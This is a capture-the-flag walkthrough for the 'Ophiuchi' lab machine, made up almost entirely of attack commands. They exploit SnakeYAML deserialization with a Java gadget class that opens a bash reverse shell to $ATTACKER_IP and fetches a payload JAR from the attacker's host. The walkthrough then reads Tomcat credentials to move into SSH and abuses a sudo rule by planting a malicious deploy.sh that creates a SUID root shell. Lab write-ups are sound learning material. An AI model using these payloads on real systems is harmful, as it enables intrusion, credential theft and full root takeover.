Ophiuchi

Identify open ports and service version banners.

$ nmap -Pn -sV -p22,8080 $TARGET

Confirm the 302 redirect to /yaml/.

$ curl -si http://$TARGET:8080/

Retrieve the YAML parser landing page and inspect the form action attribute.

$ curl -si http://$TARGET:8080/yaml/

Probe the disabled root /Servlet to confirm it returns the security-hold notice.

$ curl -si --data-urlencode 'data=foo: bar' http://$TARGET:8080/Servlet

Create the gadget source directory layout.

$ mkdir -p /tmp/ophiuchi/src/artsploit /tmp/ophiuchi/classes/META-INF/services

Write the gadget class; replace $ATTACKER_IP with your HTB VPN (tun0) IP.

$ cat > /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java <<EOF
package artsploit;
import javax.script.*;
import java.util.List;
import java.io.IOException;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
  public AwesomeScriptEngineFactory() {
    try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"}); } catch (IOException e) {}
  }
  public String getEngineName(){return null;} public String getEngineVersion(){return null;}
  public List<String> getExtensions(){return null;} public List<String> getMimeTypes(){return null;}
  public List<String> getNames(){return null;} public String getLanguageName(){return null;}
  public String getLanguageVersion(){return null;} public Object getParameter(String k){return null;}
  public String getMethodCallSyntax(String o,String m,String... a){return null;}
  public String getOutputStatement(String s){return null;} public String getProgram(String... s){return null;}
  public ScriptEngine getScriptEngine(){return null;}
}
EOF

Compile to Java 8 bytecode (--release 8 is required; any higher version causes a class-load failure on the target JVM) and package the JAR with the SPI descriptor.

$ javac --release 8 -d /tmp/ophiuchi/classes /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java && echo 'artsploit.AwesomeScriptEngineFactory' > /tmp/ophiuchi/classes/META-INF/services/javax.script.ScriptEngineFactory && cd /tmp/ophiuchi/classes && jar cf ../yaml-payload.jar .

Serve the JAR from my host on port 8000.

$ cd /tmp/ophiuchi && python3 -m http.server 8000 &

Open the reverse shell listener before firing the payload.

$ nc -lvnp 4444

Trigger deserialization via the unfiltered /yaml/Servlet endpoint; replace $ATTACKER_IP with your VPN IP.

$ curl -sS --data-urlencode 'data=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://'"$ATTACKER_IP"':8000/yaml-payload.jar"]]]]' http://$TARGET:8080/yaml/Servlet

Run from the tomcat reverse shell; locate the username and password attributes in the <user> element.

$ cat /opt/tomcat/conf/tomcat-users.xml

Confirm lateral movement to admin -> <user.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'id; cat /home/admin/user.txt'
uid=1000(admin) groups=1000(admin)

List sudo privileges for admin; identify the NOPASSWD entry for the Go program.

$ sudo -l
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Read the Go source to confirm that main.wasm and deploy.sh are opened by relative path and that the info()==1 branch executes deploy.sh.

$ cat /opt/wasm-functions/index.go

Create a writable working directory for the hijack artifacts.

$ mkdir /tmp/wasmroot

Write the WebAssembly text module; info() returns 1 to satisfy the Go program's condition.

$ printf '(module (func (export "info") (result i32) i32.const 1))\n' > /tmp/wasmroot/main.wat

Compile WAT to binary WASM. Install wabt if absent: sudo apt install wabt.

$ wat2wasm /tmp/wasmroot/main.wat -o /tmp/wasmroot/main.wasm

Write the malicious deploy.sh that creates a SUID root copy of bash.

$ printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /tmp/wasmroot/deploy.sh && chmod +x /tmp/wasmroot/deploy.sh

Invoke the sudo rule from /tmp/wasmroot so the Go program resolves main.wasm and deploy.sh to my own files.

$ cd /tmp/wasmroot && sudo /usr/bin/go run /opt/wasm-functions/index.go

Spawn a root shell via the SUID binary; -p preserves the root effective UID -> <root.txt>

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(admin) euid=0(root)